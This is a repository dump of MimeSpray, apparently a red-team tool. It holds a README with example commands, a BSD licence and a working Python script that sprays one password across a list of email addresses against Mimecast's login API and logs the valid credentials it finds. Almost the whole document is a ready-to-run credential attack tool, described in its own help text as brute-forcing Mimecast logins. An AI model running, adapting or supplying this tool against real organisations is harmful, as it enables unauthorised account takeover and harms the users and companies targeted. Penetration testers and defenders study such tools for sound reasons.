├── README.md ├── LICENSE └── MimeSpray.py /README.md: -------------------------------------------------------------------------------- 1 | # MimeSpray 2 | MimeCast Password Spraying Tool 3 | 4 | 5 | 6 | 7 | #### Example usage 8 | python3 MimeSpray.py --help 9 | 10 | python3 MimeSpray.py --emails target_emails.txt --password SeasonYear --outfile target_org_spray.log 11 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2019, Steve Borosh 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /MimeSpray.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import requests 4 | import uuid 5 | import json 6 | import hmac 7 | import base64 8 | import hashlib 9 | import datetime 10 | import threading 11 | import time 12 | import pytz 13 | from pprint import pprint 14 | import argparse 15 | import logging 16 | import codecs 17 | import sys 18 | 19 | 20 | class Mimecast: 21 | # Most of this class code came from https://github.com/bsdkid/mimecast-api-class 22 | 23 | def __init__(self, user_name, user_pass, app_id, auth_type): 24 | 25 | self.user_name = user_name 26 | self.user_pass = user_pass 27 | self.auth_type = auth_type 28 | self.app_id = app_id 29 | self.auth_type = auth_type 30 | 31 | self.baseUrl = self._discoverAuthentication() 32 | if self.baseUrl == 'invalid_email_address': 33 | print("") 34 | else: 35 | self._login() 36 | 37 | def _getHdrDate(self): 38 | 39 | date = datetime.datetime.utcnow() 40 | dt = date.strftime('%a, %d %b %Y %H:%M:%S') 41 | return dt + ' UTC' 42 | 43 | def _discoverAuthentication(self): 44 | 45 | fullURI = 'https://api.mimecast.com/api/login/discover-authentication' 46 | requestId = str(uuid.uuid4()) 47 | requestDate = self._getHdrDate() 48 | headers = {'x-mc-app-id': self.app_id, 'x-mc-req-id': requestId, 'x-mc-date': requestDate} 49 | params = {'data': [{'emailAddress': self.user_name}]} 50 | response = requests.post(fullURI, data=json.dumps(params), headers=headers) 51 | try: 52 | if 'region' in str(response.json()): 53 | data = response.json()['data'][0]['region']['api'].split('//')[1] 54 | return data 55 | else: 56 | invalid = "Invalid: " + self.user_name + ":" + self.user_pass 57 | print(invalid) 58 | logging.info(invalid) 59 | return 'invalid_email_address' 60 | except ValueError: 61 | print("") 62 | 63 | 64 | def _login(self): 65 | 66 | uri = '/api/login/login' 67 | fullURI = 'https://' + self.baseUrl + uri 68 | 69 | request_id = str(uuid.uuid4()) 70 | auth_str = self.user_name + ':' + self.user_pass 71 | auth_str = base64.b64encode(auth_str.encode()).decode("utf-8") 72 | headers = {'Authorization': self.auth_type + ' ' + auth_str, 'x-mc-app-id': self.app_id, 'x-mc-req-id': request_id} 73 | params = {'data': [{'username': self.user_name}]} 74 | response = requests.post(fullURI, data=json.dumps(params), headers=headers) 75 | 76 | code = response.status_code 77 | if code == 200: 78 | success = "Success: " + self.user_name + ":" + self.user_pass 79 | print(success) 80 | logging.info(success) 81 | elif code == 401: 82 | failure = "Failure: " + self.user_name + ":" + self.user_pass 83 | print(failure) 84 | logging.info(failure) 85 | 86 | 87 | def MimeSpray(username, password, app_id, auth_type, outfile): 88 | 89 | logging.basicConfig(filename=outfile, level=logging.INFO, format="%(asctime)s:%(message)s") 90 | username = str(username).rstrip() 91 | if username != None: 92 | mc = Mimecast(username, password, app_id, auth_type) 93 | 94 | if __name__ == "__main__": 95 | 96 | parser = argparse.ArgumentParser(description='A script to brute force mimecast logins') 97 | parser.add_argument('--emails', action='store', help='A list of emails in user@example.com format') 98 | parser.add_argument('--password', action='store', help='A password to use: Summer2019') 99 | parser.add_argument('--app_id', action='store', help='Required Application ID', required=True) 100 | parser.add_argument('--auth_type', action='store', default='Basic-AD', help='Authentication: Basic-AD, Basic-Cloud') 101 | parser.add_argument('--outfile', action='store', default='outfile.log', help='Log results to this file') 102 | args = parser.parse_args() 103 | 104 | f = open("%s" % args.emails, 'r') 105 | try: 106 | for email in f: 107 | MimeSpray(email, args.password, args.app_id, args.auth_type, args.outfile) 108 | finally: 109 | f.close() 110 | --------------------------------------------------------------------------------